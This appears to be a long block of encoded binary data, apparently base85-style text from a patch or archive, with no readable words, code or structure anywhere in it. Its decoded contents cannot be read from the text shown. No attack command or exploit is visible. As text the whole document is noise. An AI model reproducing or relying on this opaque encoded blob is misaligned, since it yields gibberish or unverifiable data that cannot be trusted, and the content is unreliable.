zXGK6*scBClrCJF{xQ8$1xC+b2)U%Y69n#2?)V&C~pR@4ys2avO;C4A=-snndH|zO& zN5)g^F3oYQ<+ghFQ^K?dUdt%3x8Inz-&KFXuX~1!{*GtXcA3=$=2z6ix3+5kl|?I} zt#L0ZO#}Om0HxIXX# z1Z;gZ-Em*ot8k%lO!*DH8f6M0^=YoT{%(;9>PED{jFRk=Fp zRN5?a(Zhj}r}-*Pqu3n-l>d*lw*abR&7y@9LV^T>1q<#34W8ic7Th(syF+kycXxMp zm*8$ExV!t`T$#C(duRSvuU^$Dio>D0Pj~Nc%i3%0kL-41(b|prag|C>Habega-55R z`r%eB{(P5X$Z1b+-K^+#-6+ycBiArQi6k^8Edn0xYs+7>*gwK+Un>f-+cCSliatz*X_3W87rw&>foW)y`2mtWoE~c zIX&m8otqiD{gw`7lNvY>N@xtnTK0X%t`ZD~oO9p+GbzTN z%UE=bBb4F2_2Y^W}PeDS}~w78*y$J7ESou6cEW?aH^7^ zQf(x?1{)DhUj^g)?U9#a4Q|e;isx6T>wPDY5w4^n86S9sV{3}D)HLmRg&wx=L>+$W z#ydZWS>CUsKW8TEPORfa76b-UtF(=9Aa`p+4C&qL5=ky%qNRme3Af(RMc3eMdE5on znP7wm=x;{Tgu>X@?cj8xI)f$F{XYg{`N=d085`nv?SVPq8*S$CtqLeMd{}Dwe zOrbfqvOBz%q0Ky z!vFswD`yzw5G`v(s|H06g`MDIE?o|*eF47q+v2`%mH)ZRv`j81|K^yK87js^#v~)K zdB=ZVa~dNguzo6bM%k^%Zc>~pi}n~%r#HR~RBN^j{kicjGNXfg` zkcjyYBXQ{e-N8zdKhxNvm_yy6*hEZtenF+&eAUMBj0wvKWVgzx=Z;0)zn% z-up($|7C3qqMX!>+P~cKy!d}LYU4diJ-%*jZuNuYsiW+qW1{Ds{1zxJis${7uk@#; z7x%QAktdO(L=OD^+?_&F8@%O;pZ4F@9zgElTFh;i_vvs(_TQ{v1_jpvpgR%P%Jaa ztfwC5l!YfBYcZu(r)R)^g@bb9d0w|_ZP z;2Us1<0BI&1X@{4YRjSJ()zAe?*?6XdISS~f{Ug9ONp5F=Gmco;$ZXq_btEDs2~Y* zO~ZqRiV$;|aq(KZ&XRt0?6?ZAEl({sW^hKx7&)`-65m;pui&-cUZbJ@?jpG;NAvka z#!B~)-t^5VGxa<54{pSza)ysgOb56=7@pf$>V$&lg4C(5-SzJyc8e(<4@3ZB#UV^x>#0Z4eiIze1>z_h_?GyZ87`=72_rV{X@UxAoh zxY=mQ^6PUdP;1jhtFV1Cbs%x@2f>Gzg#n}Aewx?kgTe}MVC?=lp}P|GC-#!qZFxXg z(yGoXV2jO0cm<11PWgecV2YSY6qAybb`PlIsa}w{l z0g-cOjFmtu{jVt%e|({|VJN^}wy?kaHd^VQzh#;(r1R;NR)60RnN8U}4@k;i|1X*7 z^OJz*1?%?qt5Y=<(qB+B-Qf^jRjP%`K%jg7#~sNF23uQm40LsAmW2qQkax$|+c%ib z{)FH({uj#1UrwF}=r#N&Gkp7H{_;o8wB6UMzAAH*+Ur*gN9&jS^EH-ZEu4q*rJ(AI z*1$fKy@3&<4cq>Yv0nQk$_z)mxHHokj3p_aJ^UDW#k~ zL|?xIFW}M`sG7+Q7`zDbGxA4E$p(mL-wYWRW0Y|vi@_#buadHIa}%$C{p##)rnDo$ zTAmtgj5ZFKbYtdQEY^C)^Q};KM$0{|cgAHKtPkW?8Aezyvc6%n8`q$-TV^dwr>XV!i3OQ?dBN#wM^!%xS+6m~?wQ+XX`_vP`jFEt8Sqxn@Aiz?yOEq+BhN5G4Tq#dI zDBPZ0LO%GuS15tI)@O0kT~)gQpaT)kq4lRFx2D6%@O55bdLuf40;M%NZ-t*JME2}l zH{a0S0}`Y!FL@dYUidTKW~0bLJnq#kmB>xoI3AtUVJO=A^xh>^s>ToaSWmhX7&S!g zG<4its}cANich}%aYp|Y2Z{Nn=7deI_9(}L%r)77jZ#uU9svSiTer zR>leF(yMP-Hg2NYxmC z^n=5xfB)%0El946gi0Xo9t=HRfM^r|Jy5xM2h4s%|FWc~$iue!V-*WgQK1l^;9#Rc zs&0*oi_~c#B*|vaP18RgZ!S1S8>+olThko~7i{p3@PieHZU z`&*gVwrBa>o+SoOp?cNr-F;J7=(GM#4Y}D)pO59|?Jm;wpc^}r*))KJTbqEGe`0Vv z?sBX*0-Pxd3SPCub8RT7{KOlYXIen(%^FKY>Jf)m_kpd@Lfqy6qg;bsP&9y@y<#jG z@+p+69b~aWiC1Mep8(%Moyn$cEJbj6rZ4M`DC3DlFbxj7pkKzZR0oH10k|MQ;P{B8 zm3eSGK(Wu^ER*wa@v3r=-1j0HqX(vB=+KByU2pO#G8CmKiaNG5(!>dF*2)lIdX$Ln z6EKOP5mP2IlFM&KPKEIS3Od6v^mCiLG3Ad$UKSTV zmmRruo5s4M&xCx7`fb(I;u~5unO(k>8fn$WZf5gCCzuaR3M$w@t0};8I#xz59Y=c2 zC&;MTX37IX#87_P%COG=@V@CiGBK@&z_>iifTIi4fe6DsyZwEs4ER7H(fNwgE->V2 zu6O|ko%Zo(f$WxxgypjUGm12=lQ(C?nV*O{IOVa6M?~0oPzc;Z0hfbAJ%&O};hUET z3S~s1X^ZT`oOyY@HeX3OSxJ(8G`-Ps2Q&TE&2B9SyMHJunZ>p*od@;le&hN?`}9s; zEn-VOZgVQ-6?g#;?iZWDtgM{Z&V?_b-1SJ`EPjOjHA%_?d-))e`PgC@eowCBztpJw z@I@lE25TdJ&$N1v^j{@IJMQtsS9#&wZ8QgJhkDGX!=Nu&Sc>SUj}6F{pr7UAP3aF# z0UnxlL4OvPe~r6mh)?vnGoQb3B|K7cP?Ym~N)1TxUG=wxV|&jqT6sPNp;dcb zJQZ2_h{zx&7`fZ*FBaP7ZIinnKIpz zOJT`%^B(MmE6tP$14Ue6VeoEcD6=(TMt#QO&5ad*@CW49Z~YNXt9LRI9fRmWTq*P2>zqM{Ql#F5F*Kl#mub*kXEX>UfDBZHRHml2?6TGnl9;2JOLI zbUNHrWS{18+%L1YniwVQ&(}*g*zW1heC13ddsbE!ya=a^2#-fTHnILKO1`Yk#rrj{ zi4|^xK~QWCgAW(Ecu`0F$H!438r&*oXAM`=fZMKot%;v%^6|QM{|ff2CO+(k=t6a> ze;$$xFmr%5kYf_LbF2hPNyS}U*z63IbRP3dEauanm8F9m>h>~#utNPK)9qO+N9>ot znK&1h-?>3GQn$sF$rS07HOY~Y%^ zYtBoq47-3C2>^4V8fstg*3h>h9;D9acGCuhB|DG~-A+2I;hPrrgX4 z5qu4c;g3Q8_|8HV2J!2So!Oyaiu!RW+`WyQXtIC`j)^+M(}9+_$Q2%vPeb>0tP=G? zep)a&83)srtE_8wol(*4yG(vQ!J0(_tiZvud{x``+!E`cVlcXlVlw2QaO71>lAPj% z+Jyr0#Zu{Z>?c-B_IsV^o$qj*=AgnhKY{SG9k0ya0^Eb0kxPeHK-JdA21cp zBw>4!+{<~VvYJg5?xpOo+piWK6t)W2?*2xF&_Oh>PXQh>cbs7Sq&_Ag7O>STMv$0ff4iCS&eXKrg!+x$H4qQdYZm;rl~eHvX$-WZN2Ldt`oi!+_wP^4pn^|`Kq5MDk_4C zV=aaY7h4rp>)y4?wYk};;jY-^PY(gk_q`-KKb%SjKq+?|{zv1>re~p{sC_xfJC`)x z1<2QHtxYqS&%~pO)uq^t2YKTDRktS6O110knXBB~r_++8$3vBHu8l3H^`GI|x-Q1n zba(f2R&&qoJcq@euVzeXzh62h5oBIicyx*LRq${LOzh$zD^-aK2a9u+jkrqzOC1nk zW%g#vp7D;q79kB=g#QZS!fNK=MGk16Dr8W(W{) z!IQ=Uk0AcBXVp@5kPlJ?-#sY_Q?cq;>oDQn_4abJFI$3+2&#yyYm19Yym$E;vAvDm z^|5B@S^)NTeK}s*>+_5RI^O$jVpU)Jv;CTMY}bt}dyB)<^mvE{@7a zw#I?I)`$E>nj2XbKdpu3SL21s5RF*g1qic`Ke!ajT??0PCg7H+wBKA*gxaJ7t%p<8 z3ujYT>juSA9)bN32bKwBlQHN6?j-`%X=!(Hw-h-vU>5LIpuWO)b=b3hB z9geO4R;z&#irRhpUaif~=!FQ>p#vKGMRWxDD2Hg}hBvM@CzK*|){U&%lhm`7Otm7e zu`S<(YE-{gX?P`DEyXH>uK87K_3si&w@^*EpM~R+*e|swqju<~YR%W?b|hG7t6AC1 zVZo+8mboTh_4;(J5UgL9XI8k}FTTZg3C4=9=4Q$)aYT=y5y~aJ91gi2d(7=PQ_NXoZ(;T=nPI^UUhT~|enJ(M7tt)h@>y*cXnnIBK1{U}d|xR-G?f9o`~eqS9KfV3B$SjYR{~un9bWf$urn5c}kxhIOYC_$p`! zmI@HD@GbA!RxGWa(rvN+#coR@hO{)cr(B& zv@c!e`c)p2-I4q8p<7C5p;^M#*-G;K^Z9g+j+Ou3xcFhcW>J@&sou2gl^eh$&v=CZ zFjPO8xvWmwA!2_Zlh#v;h@1a&7C?(0cCDdBylBf4ack$eCj3Z&t=@>9NE|f3!_CZ9 z!o!fWS;;ed)8)rovmcB+G(i7);EbcSv*d~rU@hYV`p{^A*Rla`85nfP5KM$fyCm-APfRM8BHwh2qDXU7M$c5_OK z@eN{fMIgiJovSWbZHU3p5_F=AjzJtzt>B6Iy{qrlsw{?KvgeIvGX>tPwnxFPBVWj8 z3O)t8xwY_~&xF-XB))4OJ=)Q9S(`L#vSCS#&2KW$YjFN#=Dj~}Cs=bZWn|Uu%t$#! zCnR%Kch*3&N)5xq(fgEl)x3P}bPtHMHXK_9XR`Z?Bv1!x*zSImCIj$ambwaR{hCwe z#-1$3aI!d-fWO|ht+teFI8}X( zQy?c^dG)xdx<@*#;X%{LWzAQJZ`GAKS~{*hazmko2zfVPyN#j_ zj2*lKnLP|sq~^Eh9~BcLj6oLHeqVP-Vmh*fA_oc6CDetM%9dGc&D&=zL9aN%9WThP zY8y@FnuM%JeXDKuXZy)w3|h5rXj}2{ADO>clkz-%*)u!cHF7((YZ#u)&N4*+;|*|I zET&%LgFx99gAkky&0FO71|$|3hj#}!`|xmQ{N7K1@bos@6VCOM zYaZ*v=)v$r#b<{|hosn4YBz^*x3Ip{r-yieJgQUE_|$W9d67z?L^*Q50lF-&G(Ya6 z87sXJ+S}+>U#6T1+CE}crPK+%9driDMo<}`0n2eY-NdSiez#WFd6njvV5bvM-@O78b6yHCBLudjQLTmi5s z@X>Y_pt9D>v&oaQcJ6ZGwBCTIf6P!HHi-iij&41zYCs?`h+X*3xs02(=oM2WnkEAc`I*5 zkD8*;&N_!`Nlql#b)z<}4yUtpegWv;C@kZ3R-8Hta3=RoKVT6`!Q*p(_d7bxW)y0y9(#lrtMF@C{dB%df8jW6efzFBUwA%YQ9kzG zY`q;iKN63(gJL3rp^E5e1zDkm8&%OxX;LknN{UAmhn~)tfo${!nEIhI^dLF_>b}{i z6FZ5G<5Im3qQv&21Ja$M?>AO9n{--r{1R@f=|tT%Yv5q9oEkq0WYz4j7@g}}Se>sS zSp<3IcO}EQJbh=k$dx`vh2y#1OyD#(042ktl=`iFbFZtRbS2zdBJtoP58TO_^x{x(Snki!FIJx3&} z6RaYH|Kg%so;=o{&^E9O+4B%pr%>I2h-3rH$Bx%l*H!@54bTIOzJ&=^Ks!kYQC@c^ z+$ZyjIWf^L2mCgG@i&gmlv#|k@BB>wpQC`x^*r=Q%ja{_U<)oYJV2Yc0nL!}LFhfp;+ih%+M!PO zhpvVy-bH=3J*}cQ8}BnxU>T>|-&?2+iAhmiSlCK7d4@exROb_Ca5!v~P>O`Bd(S(R zj|THz%E#f6U3O1NUSFY#95m|3_Q38X_STAHYWhk$S34(zaKowPw{7xXFTiTQN%Ur< z`LXUq05J~;;Vl80_LvKkzoF#l?1)=2JOY*@!c2WKKm|8Q+|}?wce|5Zw!hUZCAT5% zmB@LVdtQ*as)ZOZ!q$~N6%JeMjUXTk?7LH^I>X>! z-6se;bwF-gS?uT}yDS!JRd?axMQpH(c<>FKUz@@ELj7n{({y|NFsuwAGo3O$4X`h* zO&127L$O&c7oDG!w(i+*_L7!kw{8x~0l|cqe-u=3k1S=Gb-&gfN-zdf%pu$A{@UZKH}g8G3N6M4@gBUk z#vtNciPXzo0uBy|ii(PFBZo`0Zp*Q1TMgDbWG=UtX9aK9aamZD-(d}uCGNt9k7-js zI?*kax(0u>Nn|oX>;xKMbsikA%BTypz1K*{E;6Nx$AE5n%u6y(fV9L{9FK(b%a(R| zEMUxn>&fdxmtHo0&vb|bZRkG>5Kb|axU>#lMyy3@bkvZVs*Mrg-n4R zl_s2p3dQUZJ_yIA43GEXZg%1&SPYU$FW+Hb#Li3WJqoa^R`oO;Z6@#7h6xfN7g<~! zKhi#{dz0Qh)g2TdsI4W&RxPu)SS(5+D-_1)qnHA^ss3k%Wmlnj5FXT0v7r^mO-thX zr4V(ZJG!21Ti0W!VumLLnbqKMy@pTpXCJ}_aR{y<#U_6CxY~}ErK?`m`-7615Nv%2 z8RrW9>id0P5Zx=xqMm2yBrqG*t^Y31y?IEQd3yyAw;0550AhkeoaQ^nv5Rbz(8WhK zho2B@-Nlbz-Iv*uQVB;|ZyulYj#z(Ye4gNV+#d(;@)<8r%kX_qe4}` zK2Eg}F}M*>Ke!>v6g#+a7$MSpzJ4kp8dPpqE=`e__FXs}Uscj^;puLOxsq;>ilPkn z=g|q>uyRVRi=M8XZQRwB@CuKG9-##c3RJjBX9}8DILsWo%MDYP7OHXf26DuUp-Z0L z>}&PM2V|GCD^O&nr|0|Hb5Nt3LsX6r21!YoU_UvIb72yadI?Ay6)$|g!7R>x0;Mus~aAY&;@R8b6pktf5~^^G=2kL=WrZ9vnKnj@XO;qlLF&+n1oG0>~565L?K}{E+a-%!{*bC28!#lJh_!tL**Y@E)UYHFfOk z^uro>2sIeFUK6LUC$i0RA0={8;ikIJP0%2}zkr+#{C-}q<)pJpuAdtsdZj)sY+Efs zh8IOc_HDrVM{xc%`}7WM!;4o_aHYk?j>44q`0RzHpFbo$8U(}TZpnWZM^xXI_ZEPW zzpbCl{mIg_fe&q~a__s)YgT3=@@%)~xO1X)Vj$JiL+^CUh1c zBXs{`jcT=JwJ-1_A-?^Xzaw2WCsDT2_=_Q&PlgLgy-RaQkjQ8sY?W>3(d;xLuLJyx zm+{|29?3kyE#EuA*TsNaT3V8R^>gWCG`dvTP=wE|w>zSO^5qr4ic!gUhm%n;F7;8B zYGU@W*$!kt(a5zN*?LoKzd3aedgAl$LFM0ozOz?yP3a#I<_|?DXw-xQBLlm~=;3tb z<^;#bC!>J$c=3Fb{`#{107ij->M(>Y<`&G2FHLXY_wP?R^@u*zrNRZD!ewQglFNKG zaVGla;!NQU0kdn(jh}phmIlIo0rt-?jkhl${b#v%KHRE&ERjE zwhQRLuLu+57kAH@>#igr)j|V zAFo$(V`Kfex>w$tKm+rq$cf7Bp&OVF$gGkDgZHiKOZAcn2rI0pBqX;F54Gf5;4|%8 zq=CFuJ-gkzmBDlUS@gHvsgIgdItQ(fyq>RIvhTgDcE)EvuO7^a1YL;>@p`SX3K40o zOWrO$)Q*8TR0oBsOlMYf-})baxlMG65#0Fkgu&bvniKk#=thO~eUL&~Z$$O_HFk)I zOo8J~zY{V7g82EtjIY|$!NYkM`4Kt$C3K!Q?*}A)g90`bxs|gJG0KoGd1srR;~*ll1aWGX#~Y-4<4lnbnDRMpyh~sv8f&y=A~lG0C=byR$AJM z^v`{=5GQOqY182amPID!nRFD5v&s}}#~k(IflkSXS%PLVg1n+-m?mm9E0Dq1_z!7D z2iY8ncgg_^p6Pi!@eUL%kHx1IlkDTqXHQ##MBBZpQC8N61W&*<-%b;nj8V-MO`cBc zs@kCwL_u5`ii^`vVCyBFpKGi4hI;AleqPv{g3Ixg(``n{Fji=1CU%ON>Lx64xhn=x zDJHWBwD5n<<&x-ZttTRu48nuDPal{QEk+6-Pf!q00;ZmVG>$p`!^odanv(>t?WoNe z0V)4{niQW_)}P=nrmO1S7M#9fO-AlnQ4oxOCRDFz%}N)|+UOLP7l$CpP$V3v6&^_Y!FH1raMDLlAaZKznlj!B7GFCro-O832uB%+MF zP^NFbRu68VPgz`m@$2r`4UNDnEpF3H9au5QV88zS0HU0Po=V=J$ZqK&F}BAwz2QW? zTIR!v8G3`9jPcu>g~c^xX=Q=?Y+rz0wqd~i8QJ3pFh)X8zfI^))y3% zG|RtIc)8p+ixwiP4>e}JKfBs3^kT7j5sAohvBI;(mBxeEwiS>J7q}7t|6u>q`aGoc zL#chV8mare%H`P9UXY=krN^9_pYBwCB+P|PFlak3d4bTl4u4aN{p-?##o<_{fYJVf zmyM6sC^SU+hOYWc5tX->Y(aUjznOO$54_)Ev&fEbZ7tkuSnQ&%4bE$YV#%YHJ~m6a z!b>)%OTv=7c3+%yCeSStEDrYg>h0pIk}Mqi)#MQ;5Al38VR@d)q>|Z~P zaV6!|B~tl}Qs>aTc}0&t%t^wk{OeQBv`!?n{SBVX`&a$47fc}+C*?8t)0VDC zA}2^`FW+yxSIM}~KrASx8@@9V1$Xy;ZQ7_w`*7uZAmvtr^_jo5!781``8aO8m&ocv zfTFpssw&%o{}&+(q5LTFdCCSA;fqzcU1JCDV&>9p=7d|beaHhZm}WICRNYv*Fp0j)+yc=IGcDCI`8=Krfzyo;UnuH z%fbd+UR`969JTO8J|2}aky_}HObE@qlSf^xv0pn233an7Dr$;Q z_)JVh=UZ_WDCpusoUJ=ABWo3E#+U6cCYcs0x432)=tv_S>-{-mLd=7V(Iy9qFL?7ega=zd>-458Pj6lrex$utmXt5ETs1&VsmKi%jO)Z1F+l;iQ}@2Es>2dk7+ z?#pxBT^B?bf)YQ&(ZoDSVP~`2zyO|BHQE)taX8v!6{FpkKqw&f*Lhr z;i32*1uuj3`&@ztuJYz^b9?2l(mYVf6>cgn&C7$^dUfN)CHijKI=syu^*fJ4?H+#o zs>Ry*YVsIFO_-B5{`pY|mW!NkCQw_G^lMNbF?g|b)o*>EcpJ(q3gJa=9(MAuaQaTB zk4&^lZ?pYk{1*5c$?#WMYAys27yz5v#_txmc)QxjfJniaMgTAP#Vw?wQcQgZi9{@; zfNZc93;~H)3YgF~c>qjUmHMiQcX2`wWut^KQaQpV@#+>%KkVS}P`rfuzB9!Z^a^g= zYUJ^&w2qLFKOuI8(ED(fm?fdXLlwLf3w_hTp``}r`}Wi&VGh$JvAHids>VgZ{@#8p z{20OAy!L^RZ?mB^VZCikir$$1Lnbl03BKE%=%U`mOLl<9$D2cD@kd1aEwYd!)X~r< ziRp;pIfyCtz7T zrbPBpEl$*c05nY$A02_d#JNy*%fglz9*VWTnepun(uq``tfiEQ`)G`=4nZ*y^*ozuwt@Px(Y zD1*@V$&4ppFHbm|0RJ1G_2H)LRz_`^$Mm-|YYU3&K@0HQK*q%T@?5&fQdX?yy{d+k zu#aZ~Qq3z-WCw7Sx<76|)6$Mx6QmDRy|04cNp>%Qk#FDW(@;zvmRe)XSz(#xmo$I% z626R+)6dHP&iXC7Aeg%m|IfBZmxP*`r>YS9%IL$)la#DuylI`pM>SaOK2HU zzzy>Ib?}JCr94O>{+17q#(?j3;WMW49gWeiq)kkmp8S$!%j12T9rWeDfspz-hg^_n z@aUAS>iw$c<=>94@MFYv z($7y64O!Hk-9-o`owP-YAIP!u1NA$&+}YnVe|tfcBofPuB~F|zW#EvFU)JVvwT<9L*Z*^t%cP>De=q82TtYGA!-9kG!3O z$p4YDv`opwJ6bld7^Ms^(++L|bDP`3Il(9tR4wRCB_m~g|7GXQ!+|n|jVoU_6&_ir zzb`!Gu488{>wK);GwOaAQ{iEMt&sQ0!PEUWFHi;X((_TP!~Fnte=15%fE-31Rb*yw zcbZYQv|UoYNERUN=a$Ckv_Di3~^zoR6iHQavj;pY~SKOZK0IBAF& z8J0f>d9dcbU;89z<~pKDSMmVBQ0$VF%t;?UfqIumSs3 z#6)FQPW+A(-n7;a@nkXSit8r1(8Lj)xzj+=wWtaE5pFU*BKau7mSN*+9*dlQDvGGH zT;CWb4HY%TC1P&;5~`f?a!IJb?!4Y%Z4LMLH@6iwqBYmBr&l?zdc{RbzLG@hA7;_W z1(wf3n@M-@M2!^s#!`met2-ZI0M^SflhR_BFC}2B7Cvc4l_@Td`DfALZp5iE+f|>b z=+`-0wIVD_y+y2dvkMzV!b|@i$%4vFQm70OjnSsux1^+FFv_G(ADW3eYXV)34$XQn zO3KkubFt0>gbldfLfX8~vmChZc`RknNbOHCTh}`qgPELw$$$*c87SujI84JFH!op@ zfq?yY&O1awztG$W#K942;~gR40f&Ks0YbN@7s`tZOT8nYRC{S92AAyr4ggXIljvU*Wsup6N;B zSm1pLw2W;G!X(D-PGDT$@VM&vU+vM0Q_2)YRz|*BXesagzwPwj$@TB~c$xz^F5x(< z+DsPMXq^(75^WSJm$dzr}UJgtwP@1y-O5$4jR+@*UHK)cX2|Cw(3De}lD) zb)A#_^&R(qSN>x8Naux2E5}Di`M_Qf_8JccaPDOP?^IIGF|B2{a{>e`(xqcFd%i#j zpO-$12R(&1)Hg6f<1%gGKU{Ufy-($VfE%sYAdj*afUC3KWFz^kV1`$tf|R zsTo2%;Quzdh7a!TYV7m_tsKbF(NcV3)$~ogc*KaK3z3USDh>1IG}yly`o92#Z5eP; zx+!Ma+S1bD5LvNl4#(Rh-D9BI8Urc}q@|}tj*mnH0+Fb0jLFM)wv`dORJ&u9jfoMx zk=J{>AE1@*%O28JwJAq=CMz}O>)y;gV_YbUpO{9L*`l(}jWhGUN8o}*%T86f+EpDFd$;_6amlGT-T)rPne!n?9mpWOlL!y$ zTV#(OL&qzFGmw((M<^>9*tLCN@$KZ-aBxDB*(IJ9-skskF{j*J$qUa9oumuLy$X5v zPWV1Zn4VXBf2J`PGYf{MzJ2jpX&%E!MQDn31p6c&fgsv&8K}nQ9X^MUkrig|>DrwO zDLsIWqMb$DW7IgLJA6bsa4nPF?tAs3%!sc$d-p=kT*>_X%5ZQSX@t@K<%jZGkR zGtD4Jk5v5ZKl3eIMe%&&`S``g=Ng(VBZP^mh-9fyS4T}N{as}hW8n0c&--ICC7E0L zbF>q|F~k#SAMJJ@B+}bYL)3CP@Vq3aUxy~X_NIB86b254I|>8#rt@u~JUcT6KK>7l zH#4?GlCp|IPPRu<^Oy{V^kONr(H)(=j150pE$}Y(4IJ4K>YZxO8x`}nKfK8T9i_U8 z9zATCkdakTy^~VQanW5rSfcSVEyZitYcW81uh^i$$meB{I>qqDr<+%6b^h>+ina;C zpJ3o$z2zi04EK-ERDy=Td>YVo!P;Y)qWk+qGKHDy( z+a!mJeV|i8&Hswd7Z!kHt$4ewR36qfzB3imXmxCT!+1 zkuDSGCkb_!P)OWx6&4`s*ysr$vFrmimJ+fa&q=Ug_+|7xHi3|BJlJn6e51OwA)%mU z^lFu7fePzKDxx?=65hh<98!K`;)Sd>(1r_F-8m?onGnJwrd2t9?2f1xb~JjWGIPsD z6A{N_s!2n6b1_J7W{GyOv%^&mrMDw^ubAx*VVVlkcSG*g1!q@m^!(-?yR*hGMGa?{ zD13K$Aa+HWOzzKT{*s+~i{l(MfkBi0VrMKlBv~jOK#da`OjDV>-$2|Njw{S=hQd)i zBP;>lO(*?IJ4$FwT9C-^)nkTJGY}^hmp9&4&3Mb>Oz>jrUYzeeW&3A(c3)_}XO5>R z>4lpyj-LNk9=TxpSz=A#UG(P^Ve!n+7N$)DW}V)?Q;gh+JCNyDL+8!l(C9MC=SAgs z5;16YsEBXxOvuo=H4O{LE^w9`lKp~Of{db`!apI8&jwrB0_o!FAlEwZwZyl}$K@1Z zN6qpb`|H343PnXeqUMWkW}-bH5Ji3Zvxpf*0Vh0x^TbmqS!nLjiN!Q^ZY@yLt6Smo z3|S6)z=ZKh;sA=9^L`662N zDnWi(&Ip}6G~O~{S$ykZ%avA$NZKO9?fb4>Gdu}KYZ5U^mHavAUU4!5wqSt*4%q1Z`E{rk=fS934MH(na<-Y z+1lcgNHH;orBJn*EiaFBG#9gINhcO>oPYtE>-Bx~vfaJCIyWm@Ux&FdeC#KG89P_lja zz>YO(DA1CPRvd>725(#{9a5v3TqUaDTm0l2trLzB@pdy%5bGUuc{5$~xZo6F++U+I z9&zBCT)s!tY;kUKJIQqubXn0pJ(zxgz3uMZc3;?J5^Rlul6Y{YQT^>5sKWj9Ust^=9ypBW?lu z@;K^TdG>qpe4V>?ZD9qhpGNoX3uZDTW8KaZ!d_<(g$B*Wm*`ub>>m{P*DaH_3-O$?dpM{^sG1H2LiG)^qYuP)0!#TE<1W z-KG~lvE4zMih{f{+V=F{PGJf1L)7d(ZA-|_$jg8J(g^PF%0_yMEmcd*am?OJPu8Sl`>0``8lHctw-){FzYVX>Ahl2|HXN;4tep zx$&DCHf~cz@zWMdsl9*-!??Y@Gq0*D3aE~=>h9GQt`(s7LFyq|a9|Oneor2ARi=B` z7~Q<9{tude-riy{45Z6sCX3dWl}#U%!NCBCjc=Y&-$oDO`ilQ~lPNxaI8 zt$y_Oim;|)E-q@>o>132dk+&5N(&1!*Ecjs*~nI_dh;3@8h#|(g>P6` zQi1?RjGAqtzK)l`tIf7R0|5dd z!6i5}?h>?dcL)|75(w_@4#9%EHV#39I|L8z?(XjX4)fo+GxxrK>ehQySJMqm(S6SO z_Fj9fwf9Gx8-lw|OC2mEL-xx_*Ve)G=E&7-zS79W>lD}qHbvY&V6M`10v4JeSzu>( z{5y^6akEgQdESn3v(HX0(&ATpq<@Pa8C@_)gkYKF(pw)uyC|88N=XrK5*6+Fv=fA) zQDqJF9!KxiMMFg;4)m^VxDlUV-Y5jz3Q;3TN3G!E=8ggOv!6VzG7{6#Nf))jI_LZ4 zEv;B#;@atZd%m+JikMrTc<&g;N%WDg>|3MzZ3Vu0jE9R0*W~16@Gcj4@93zM&U2a~ zEK?C>M+6YW3d*J(R1=2S2I&_Zf3wuCa5LiY!hl9HzU*dZ*#Ap%fHYMXSm{cAMG54Wlq#Ia8$Nr3es+Q8y~ zL9hDNtQP$ba`PMFyH$u+7Er?VTlOt2P6l{7Yzy5*?7RsalpXw;QbL&w+W&bKs`Bek4_@niE{b%0;7wEIH}I*!^VTs@1~%lTp6u@HQ3r?y z(t5`_n8ex56MB(#u($jqG~RNTXnoT^*-C!NMy=Y;g7d&Q$F>EiQv&O!D z3>SEJGdH&fDs+-SzoyeF+ZEF-TsW~^TP1L_Fv+Kebau=mBPc{KRzP-y1)9ZAn{As) zu8p#s#G=|xzULA6SvJ(I&Z%vGsasjuh}E?!zz*@%0Hkq!w1DGRGG(9@9ul9C7n!C?xnOg3ZR_Ldf}mOK4?eg6y(>r%Jc^{}rK3B<-; zA)gSzEW2F4K7Aw7KTHx66N4KRba5~nmWx3YgC2s2zVP5&va%giB=en3_-2@LIz#H*;f%QR(rC$~B05ej5pE z+1cS^9J*zbK|yu(jZu(R&=r~(*#hF9eFtUk zv6nVhQw`YW#${vmNJ^VSngy7%hv~jmU}L!=)SY!rJ+X;l;XHGYHGi`P9DdG+rr0=U0Zq7w!k$)SGW* zmD?bG+$4!m^!f_i!t=f7Gpo6u?k7pP;ppUV3P{tIQ);OqQJ}Yhg(`baf)P zqT~}mwN8dKR_laZT|_ZpK&S0T_g#-#TS*NwiHSxHQyAsHqV|D2G3VNMViIBS=hE4g zof>VV`38Q1YLEVt;B!liTK0K!dQuVor(|d6e2-@;Go~i8ZWi$)KQ-R9I1)r`PZxlR zq2Vf_zZR0&Kqf)A`l2$uJU=6slbwBTVU)$L?s;acPyQlX!9hL(J>-$LI``rscw6&NGO~n|S(;em;zUi9qUt8CzcRd=nwoR#>gQTQVM#RV z)3**57Zxy8o{tvs__9w=FLS4#uAD-+J%6xUED#^kPY%Rrn2uXV-u zfe!CLzZp+T=NrV;-;d1g=yyp~J@GB+?Hdik?*9EsefKS+Za_KLQc|LG`06?-*7qeJ zvr7FIhacj*IT_wvx@XhfCrZF4wY2nTJW79V(l-GwtNpN)8tS}URHSYw z#@;1Dgg*Q|G$->t{s)QB1crnM5rh;_p^*!GcoTj5s`I9 ztxBYfum8sM_^^|I($J84e%t_te>S^aXNhvq=e+Xb-@R4%`W1C^V{7bmosx=t@*>sk zp{{&Fnhwpdx3EYSRPAs`<*Q(Kc};O04C}~UNU!Z4ng}L|_f}C?QNi5Y+Eh53wX@&s z!zADC>{Y6A>1S_n85JTgp@ns}0qg1#6_)&r`@XrmJ8RexGardpP~;~NIsom4;vFeL z34TMUT`qx!1_&aVIaPGH>?2isRLC8oL1c;fvtXVlTRl{mY82lR1I_jAm5h9!C!MjW z1=pi`1NJZi=DPZ>gRNm*3P>^A&pi4h-g0$^#$W{ert0eQ-yNN!9divyaF?xT6V1_7 zvVK1d$*h-M%u3!9VT@$as4@AAx)kGV*H&4YIm|_Svh$`48ENI<<%e5X>({Sarz*mR z_Nsk!)8gmtEMG0jg>X;ZO{swqCyHGUjKb=P|G`+48bKSJt#mbOx8PfvGIrAT*$Zh4 zu?si1C?j#yOi%C9NLtZQ=|ne8Bzh^iT!Mw`!K-iJj!K2(Y5viQh`8wMt1wMOTv=gj68$6Yd+j_Uft-vh2 zr5%<%SC&}XW;DzR?hmp0mY*SLvOnfozH>M^E}vD?rqlr))Q_qQHZ zn4_xKx;K$Qu0`NsjH$EqQC}xzM8JPB-@a$tRt>r?wrMfR9r-r?T1F51-v-5m6$CR?4dxvpc+?!5`4&J^! zqvoJgZOYM+;_V{BzISm^fbgY9?^wjdwL!taK+OZ7w^tWF;%_LLzY5I;LMYFpKhS+! zpuWvb%#AIeA|GfQ^;zfwnGzDd7maMhMfG%IrrzZt;C5BSP0ly6N@g=kMo~!0Xp-+{ z+zb2xpGQ-kIF&0+9vkoKGX#;&CM~zY0NXkzV5shz_Ta2T`3#ACk>Do^GnP=)sR7Z9 